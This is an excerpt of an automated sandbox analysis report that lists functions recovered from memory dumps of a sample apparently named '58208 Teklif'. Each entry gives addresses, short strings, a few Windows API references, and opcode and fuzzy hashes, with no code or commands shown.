Function 0141617D Relevance: 3.0, Strings: 2, Instructions: 504
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o_q, xrefs: 014166A2
Hcq, xrefs: 0141656E

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: (o_q$Hcq
API String ID: 0-689770731
Opcode ID: a524a5a3654dcec8b2cd9920fca0d32f20622b84bccf1acd97f2926677facc88
Instruction ID: aba26fee9618a56932846acdb3f9f21ac8358b87d4dd094982c5719082228ce8
Opcode Fuzzy Hash: a524a5a3654dcec8b2cd9920fca0d32f20622b84bccf1acd97f2926677facc88
Instruction Fuzzy Hash: D0129F70A002199FDB14DF69D854BAEBBF6BF88300F15856DE4059B3A9EB74EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0141B388 Relevance: 2.8, Strings: 2, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH_q, xrefs: 0141B7A7
PH_q, xrefs: 0141B7B8

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: PH_q$PH_q
API String ID: 0-3760492949
Opcode ID: 5630b1b962688176bbc2eb1083b9cb507144dcac958add8e7a8fd85af76df830
Instruction ID: 8c434c2e36334eaa64f30767d38a7036d6dd019c5ae5caed3a3c6f4dcbc2d090
Opcode Fuzzy Hash: 5630b1b962688176bbc2eb1083b9cb507144dcac958add8e7a8fd85af76df830
Instruction Fuzzy Hash: DFE10975E00218DFDB14DFA9C984A9EBBB2FF48310F15C46AE919AB365DB30A841CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BD908D Relevance: 2.7, Strings: 2, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH_q, xrefs: 06BD92FB
PH_q, xrefs: 06BD92EA

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID: PH_q$PH_q
API String ID: 0-3760492949
Opcode ID: 455982df8f219c3ce29771fea591249e707e35b3f015032c558b380308ad5599
Instruction ID: b1a2e42f7e5dfd47305e4f92df521dbf81e7eefe42318f91ed90245c7a80087e
Opcode Fuzzy Hash: 455982df8f219c3ce29771fea591249e707e35b3f015032c558b380308ad5599
Instruction Fuzzy Hash: 7481E274E00218CFDB68DFA9D994BADBBF2BF89304F209169D419AB354EB345946CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0141BF10 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

PH_q, xrefs: 0141C178
PH_q, xrefs: 0141C167

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: PH_q$PH_q
API String ID: 0-3760492949
Opcode ID: 5a54897b4e98c96851f292aa5292ab2b2c482b2de6b25bc6e60a7def98b0d3bf
Instruction ID: 93d4c0d26b1d3294b13ef2333e6055eb0d0f21b5f28c3281d54877d05c0bbcd9
Opcode Fuzzy Hash: 5a54897b4e98c96851f292aa5292ab2b2c482b2de6b25bc6e60a7def98b0d3bf
Instruction Fuzzy Hash: 8B81D674E40218CFDB14DFAAD984A9DBBF2BF89310F14C06AE419AB369DB315981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0141C7B2 Relevance: 2.7, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

PH_q, xrefs: 0141CA07
PH_q, xrefs: 0141CA18

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: PH_q$PH_q
API String ID: 0-3760492949
Opcode ID: e9993b2817a23742d1c4f4e3f3ddb20aeaaefe83a10e1335317cbcc97b9e597d
Instruction ID: 0b264a7ae96e1dcb1df71437ce9db54f1d892a8fb5476c089c695d3d2468bcc3
Opcode Fuzzy Hash: e9993b2817a23742d1c4f4e3f3ddb20aeaaefe83a10e1335317cbcc97b9e597d
Instruction Fuzzy Hash: 5081C574E40218DFDB18DFAAD984A9DBBF2BF89310F14C06AE419AB369DB305841CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0141C1F0 Relevance: 2.7, Strings: 2, Instructions: 188COMMON

Download Yara Rule

Strings

PH_q, xrefs: 0141C447
PH_q, xrefs: 0141C458

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: PH_q$PH_q
API String ID: 0-3760492949
Opcode ID: e91e5402be19df7d912c79b71bf40af0a4443f4473aec2603630dbe8f2fc6077
Instruction ID: 4486005b6c79bb8ec4917458add96f85eeb1671bb5cf1d205cf8e1dd52245541
Opcode Fuzzy Hash: e91e5402be19df7d912c79b71bf40af0a4443f4473aec2603630dbe8f2fc6077
Instruction Fuzzy Hash: 6681D774E40218CFDB18DFAAD884A9DBBF2BF89300F14C06AE419AB369DB705945CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0141C4D0 Relevance: 2.7, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

PH_q, xrefs: 0141C727
PH_q, xrefs: 0141C738

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: PH_q$PH_q
API String ID: 0-3760492949
Opcode ID: d7e676530cd5b9eaf9af93df10d12589d775754c58055a85470e81371dd14253
Instruction ID: 9ed37c192712d70fbcc9c5725afd9b098cac94c8886109bb6a8a73bc32c57f7c
Opcode Fuzzy Hash: d7e676530cd5b9eaf9af93df10d12589d775754c58055a85470e81371dd14253
Instruction Fuzzy Hash: 2081C574E40218CFDB18DFAAD984A9DBBF2BF89310F14D06AE419AB369DB305941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01414B31 Relevance: 2.7, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

PH_q, xrefs: 01414D99
PH_q, xrefs: 01414D88

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: PH_q$PH_q
API String ID: 0-3760492949
Opcode ID: 4263b27211733c35cb6d46fb91d22f8b73723c351949c1aaa2191502bb899dd3
Instruction ID: 92499ea7450a5304ef7d6c33c0d661415195db694f5ebcf801071dd434544d99
Opcode Fuzzy Hash: 4263b27211733c35cb6d46fb91d22f8b73723c351949c1aaa2191502bb899dd3
Instruction Fuzzy Hash: EE81B974E00218DFDB18DFAAD944A9DBBF2BF89310F15C06AE419AB369DB345981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0141CA92 Relevance: 2.7, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

PH_q, xrefs: 0141CCE7
PH_q, xrefs: 0141CCF8

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: PH_q$PH_q
API String ID: 0-3760492949
Opcode ID: 9bdcba6d6d532784508d4e2113623fde78d99e6a633ccd450b50d8bdca4f02ad
Instruction ID: f6a240581a138acae5f20644d65ec47a8022f82705cd2938105ef912391022d6
Opcode Fuzzy Hash: 9bdcba6d6d532784508d4e2113623fde78d99e6a633ccd450b50d8bdca4f02ad
Instruction Fuzzy Hash: F381C874E41218DFDB18DFAAD994A9DBBF2BF88310F14C06AE419AB369DB305941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0141BC32 Relevance: 2.7, Strings: 2, Instructions: 183COMMON

Download Yara Rule

Strings

PH_q, xrefs: 0141BE87
PH_q, xrefs: 0141BE98

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: PH_q$PH_q
API String ID: 0-3760492949
Opcode ID: 39eb1023962acce210782f65680f91ef42581fb41665740a5b11fcb1bde8b841
Instruction ID: 5e2e7af890290eb183681de5cb4a4a63b38c4aaee51d3800a881898fbd0a55e9
Opcode Fuzzy Hash: 39eb1023962acce210782f65680f91ef42581fb41665740a5b11fcb1bde8b841
Instruction Fuzzy Hash: 1681B674E00218CFDB18DFAAD994A9DBBF2FF88310F14806AE519AB365DB305945CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0141B552 Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

PH_q, xrefs: 0141B7A7
PH_q, xrefs: 0141B7B8

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: PH_q$PH_q
API String ID: 0-3760492949
Opcode ID: 203f0135611603ce9299ceac8d59d5d1adcd7fdd04a19686124872ce6c968572
Instruction ID: 5c15329f379743dab4079806fb9587fcfb17ddd201e52edbfa3a75181877e44a
Opcode Fuzzy Hash: 203f0135611603ce9299ceac8d59d5d1adcd7fdd04a19686124872ce6c968572
Instruction Fuzzy Hash: 5361C874E002489FDB18DFAAD944A9EBBF2FF88300F14C46AE518AB369DB305945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05A989B0 Relevance: 1.9, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3789424768.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a90000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ffee7eb0a8583207fb60c1e2a43ee196ab406eb3a5efd652835210fc41bea5a
Instruction ID: 2ef136843f6869a87e773fd81d11d0c5a024de7fa7844a12df2a534938e0c9d9
Opcode Fuzzy Hash: 4ffee7eb0a8583207fb60c1e2a43ee196ab406eb3a5efd652835210fc41bea5a
Instruction Fuzzy Hash: B1F1F474E01229DFDB18DFA9C894B9DBBF2BF89304F1481A9E408AB355DB349985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BD15F8 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd1fca46e46cd23568b004e35af04d14b9f4a3db29314fec6320a9c1cd23f6ac
Instruction ID: e66358f25452d575815fc088717eca3dff86df3e28496bd98e1d5b4dd3cee7c1
Opcode Fuzzy Hash: dd1fca46e46cd23568b004e35af04d14b9f4a3db29314fec6320a9c1cd23f6ac
Instruction Fuzzy Hash: 28827F74E412299FDB64DF69C998BDDBBB2BF49300F1081E9A40DAB264DB315E85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06BD8A58 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52f267d6a7a087c0f72c64bbe1781abb8b0bdf989f66d5a8cf488f151731b999
Instruction ID: 9771672f5e46083db27f0a4dc4f5c4c5c542610180161acc4eb6af040a03aba5
Opcode Fuzzy Hash: 52f267d6a7a087c0f72c64bbe1781abb8b0bdf989f66d5a8cf488f151731b999
Instruction Fuzzy Hash: 82E1D4B4E01218CFEB54DFA5D954B9DBBB2BF89300F1081AAD408AB394DB355E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDDAC0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae89071158432b0bc5b1ac80a499634a5a7d2f35623573e16390c5f4a146b72
Instruction ID: 4e324d6e1e613a99d85e590cb1295b9f0cf8ef05152b673469815c19ff6dae96
Opcode Fuzzy Hash: dae89071158432b0bc5b1ac80a499634a5a7d2f35623573e16390c5f4a146b72
Instruction Fuzzy Hash: 61A194B5E012188FEB54CF6AD944B9DBBF2AF89300F14D0AAD449AB254DB705A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDCE28 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 893540e2a2738c0cf6b0d794b2ad26f3a7027b3997aca0ff58d0f6e77d6e9b84
Instruction ID: a7ab6687c3221a34c734555fa47630873f0267a2a9fae166d59bb437fd64ecd2
Opcode Fuzzy Hash: 893540e2a2738c0cf6b0d794b2ad26f3a7027b3997aca0ff58d0f6e77d6e9b84
Instruction Fuzzy Hash: 8CA1A4B4E012188FEB68CF6AD944B9DBBF2BF89300F14D0AAD40DA7254DB305A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDC7D8 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94efc0637141ed420bcc3179e356e3577fa8b98b1e74753c21c98b28c163210f
Instruction ID: 37ab6c931a1946e9ac930086f268353e4b6a6332940db830d5f2ed9be96fbdfc
Opcode Fuzzy Hash: 94efc0637141ed420bcc3179e356e3577fa8b98b1e74753c21c98b28c163210f
Instruction Fuzzy Hash: C9A1B4B4E012188FEB64CF6AC944B9DBBF2AF89300F14D1AAD40DA7254EB345A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDBB38 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bb2e952b9bd13d3a27248e360d370452ccd20d76ac4f4e8985f5b0e237c08f1
Instruction ID: 751786916ac9d8321ee72ba995a8e599994c1865a53c282f312270ad3c838b10
Opcode Fuzzy Hash: 8bb2e952b9bd13d3a27248e360d370452ccd20d76ac4f4e8985f5b0e237c08f1
Instruction Fuzzy Hash: 6DA195B4E012288FEB64CF6AD944B9DBBF2BF89300F14D0EAD409A7254DB305A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDA858 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd6621e518408009064981fbf9580474d095e69c673fbcb38d48b13fb6bc387c
Instruction ID: bbe83bec2e9b35677b6cb4baadcbf2ab2ef8051a67892fa3f732f41a47a605de
Opcode Fuzzy Hash: fd6621e518408009064981fbf9580474d095e69c673fbcb38d48b13fb6bc387c
Instruction Fuzzy Hash: 64A1A4B5E012188FEB58CF6AC944B9DFBF2AF89300F14D1AAD40DA7254EB345A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDC188 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5af545482926af7ad906988017eab9b5edfaea5a5e91a9fbafdba9dce87185c2
Instruction ID: 850b5218bf4728f0c983c274ae74afeae0ed8e4baa931e82a3790a90f09cad41
Opcode Fuzzy Hash: 5af545482926af7ad906988017eab9b5edfaea5a5e91a9fbafdba9dce87185c2
Instruction Fuzzy Hash: 28A1A4B4E012188FEB64CF6AD944B9DBBF2BF89300F14D1AAD40DA7254EB705A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDAEA8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be7940086d448a573d31a5f7119576265bba2782c0bc07bcc19f23a5cda5a19d
Instruction ID: 623d83cb1172d25d89dfe87f6ff85c4c3e61726e7954b8db2a5c20dcfe7cf253
Opcode Fuzzy Hash: be7940086d448a573d31a5f7119576265bba2782c0bc07bcc19f23a5cda5a19d
Instruction Fuzzy Hash: 1AA1A5B5E012188FEB64DF6AC944B9DFBF2AF89300F14D1AAD40DA7254DB345A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDB4F0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83abe665ca8879eb79ee718555061fadea277485408fadc31a1634174bc2e9ac
Instruction ID: 4fc657edf49a7ef1b6198c4e4057cdc9cdc0400632adf59f70f43fa4564bbcdd
Opcode Fuzzy Hash: 83abe665ca8879eb79ee718555061fadea277485408fadc31a1634174bc2e9ac
Instruction Fuzzy Hash: 10A195B5E016188FEB68CF6AC944B9DFBF2AF89300F14D1AAD409A7254DB305A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDD478 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d366911b249ee77139c77b98c055c225d1db8213142c9729796462670cc0c39
Instruction ID: b96584a7d94baeb10aee3f12bd76f76c602a99cbbb3cce3558f8bcce07292079
Opcode Fuzzy Hash: 6d366911b249ee77139c77b98c055c225d1db8213142c9729796462670cc0c39
Instruction Fuzzy Hash: 7FA194B4E012188FEB64CF6AD944B9DBBF2BF89300F14D0AAD44DA7254EB345A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDAE98 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5fd74356924851a6ad4f6aef9b22c2995b2c83fc4760e0e1e88ed915d09c11e
Instruction ID: 579d1b2f4ac45fafc2ad29fea2f5065cb3ed9f4bba94e510311c041ecb5bae47
Opcode Fuzzy Hash: f5fd74356924851a6ad4f6aef9b22c2995b2c83fc4760e0e1e88ed915d09c11e
Instruction Fuzzy Hash: 947175B1E016188FEB68CF6AC944B9DBBF2AF89300F14C1EAD50DA7254DB345A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDD468 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a2950791c12f5f0593238a4d5d1ea889fb14284a9e0262b9e8cdb158e649abe
Instruction ID: 93ae6e2e438c69ff9b714381f459f83dcf4dc91e0d0266cfbc77cebde477fc2f
Opcode Fuzzy Hash: 8a2950791c12f5f0593238a4d5d1ea889fb14284a9e0262b9e8cdb158e649abe
Instruction Fuzzy Hash: 4C7173B1E016188FEB68CF6AC944B9DBAF2AF89300F14C1EAD44DA7254DB705A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06BD8A5D Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f26a9729576886e3ac720d8f6e9fc7546a03df0ed573288c75cfb6df05178a6
Instruction ID: ebf9cb9bc8d63f94a77e7530f3cfb0bfb5a23f1b658bdeff756961577f652901
Opcode Fuzzy Hash: 9f26a9729576886e3ac720d8f6e9fc7546a03df0ed573288c75cfb6df05178a6
Instruction Fuzzy Hash: 4441C2B0E012188BEB58DFAAC9547DEFBF2BF88300F14D16AC418AB294EB355945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 06BDBB27 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a07a586a9ee237554bf1469caadb6e96ef18eb64989d5147b43d594fdb977779
Instruction ID: 49d1b40d18420270934b53fa48a32014cffbbe959b956e02f4a8d1b478906344
Opcode Fuzzy Hash: a07a586a9ee237554bf1469caadb6e96ef18eb64989d5147b43d594fdb977779
Instruction Fuzzy Hash: 8B4149B1D016188BEB58CF6BD9557D9FAF3AFC9300F14C1AAC54CA6264EB740A868F50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDC178 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8617b655e3c9246d744db1a2a2783998cd0d2b2c767afdeaf6a0f1f83b4d9117
Instruction ID: 27f5fc00c77b98075626f2182df2c08079330b1688c9249f1eb2cb1217541b75
Opcode Fuzzy Hash: 8617b655e3c9246d744db1a2a2783998cd0d2b2c767afdeaf6a0f1f83b4d9117
Instruction Fuzzy Hash: 8C415AB1E016188BEB58CF6BD9457D9FAF3AFC9314F04C1AAC50CA6254EB7409868F51

Uniqueness

Uniqueness Score: -1.00%

Function 06BDCE18 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e2f725912917dcd81cf119189ca669e7b7ccd8f2abbc51dbafb6835ad80aff7
Instruction ID: 778bb822ddfedf98f9c6d4c8ae5a3afe7eb41b91b2f5c2da803c81044af7e529
Opcode Fuzzy Hash: 2e2f725912917dcd81cf119189ca669e7b7ccd8f2abbc51dbafb6835ad80aff7
Instruction Fuzzy Hash: A2416CB1E016188BEB58CF6BD9457D9FAF3AFC8300F04C1AAC50CA6254EB740A86CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BDC7CA Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c5ace5bcf15e7df9450496092159df6cba1c72c21274507601216c442f83efd
Instruction ID: 86997394785fd13efe39382263ec459f6aeb9ab7781a6fe641a6d6aaa908cf07
Opcode Fuzzy Hash: 7c5ace5bcf15e7df9450496092159df6cba1c72c21274507601216c442f83efd
Instruction Fuzzy Hash: FA413BB1E016188BEB58CF6BD9457D9FAF3AFC9310F14C1AAC50CA6254EB740A86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01416EB8 Relevance: 10.5, Strings: 8, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o_q, xrefs: 01416FB1
(o_q, xrefs: 014173D7
(o_q, xrefs: 014173C7
,cq, xrefs: 01417368
(o_q, xrefs: 01416FDD
(o_q, xrefs: 01416EF6
,cq, xrefs: 01417358
(o_q, xrefs: 0141707A

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: (o_q$(o_q$(o_q$(o_q$(o_q$(o_q$,cq$,cq
API String ID: 0-3630396145
Opcode ID: 38ff28b70c09d140c06146aefcf35a887f026ea26339ca7486c7444fc87ae25e
Instruction ID: b102c21985de1c90be7bc45f5f111545a76429f37bcff3bebf4c5329e173d3e6
Opcode Fuzzy Hash: 38ff28b70c09d140c06146aefcf35a887f026ea26339ca7486c7444fc87ae25e
Instruction Fuzzy Hash: 5C125934A002099FCB15CF69D984AAEBBF2FF48315F1585AAE9099B379D730ED41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 06BF4B68 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06BF4BE6
GetCurrentThread.KERNEL32 ref: 06BF4C23
GetCurrentProcess.KERNEL32 ref: 06BF4C60
GetCurrentThreadId.KERNEL32 ref: 06BF4CB9

Memory Dump Source

Source File: 00000003.00000002.3790247236.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bf0000_58208 Teklif.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 05befbbd07d73426ca6238a0f40fa8462f060fc079fc373faacc78345aff4c76
Instruction ID: 9c1d34bea321b4a8ef9e31b9826bd0f0144279b25ada3a17b184303982b1808c
Opcode Fuzzy Hash: 05befbbd07d73426ca6238a0f40fa8462f060fc079fc373faacc78345aff4c76
Instruction Fuzzy Hash: 4D5146B09002098FDB94DFAAD948B9EBFF1FF49300F208059E119A7361D7759948CF65

Uniqueness

Uniqueness Score: -1.00%

Function 06BF4B63 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06BF4BE6
GetCurrentThread.KERNEL32 ref: 06BF4C23
GetCurrentProcess.KERNEL32 ref: 06BF4C60
GetCurrentThreadId.KERNEL32 ref: 06BF4CB9

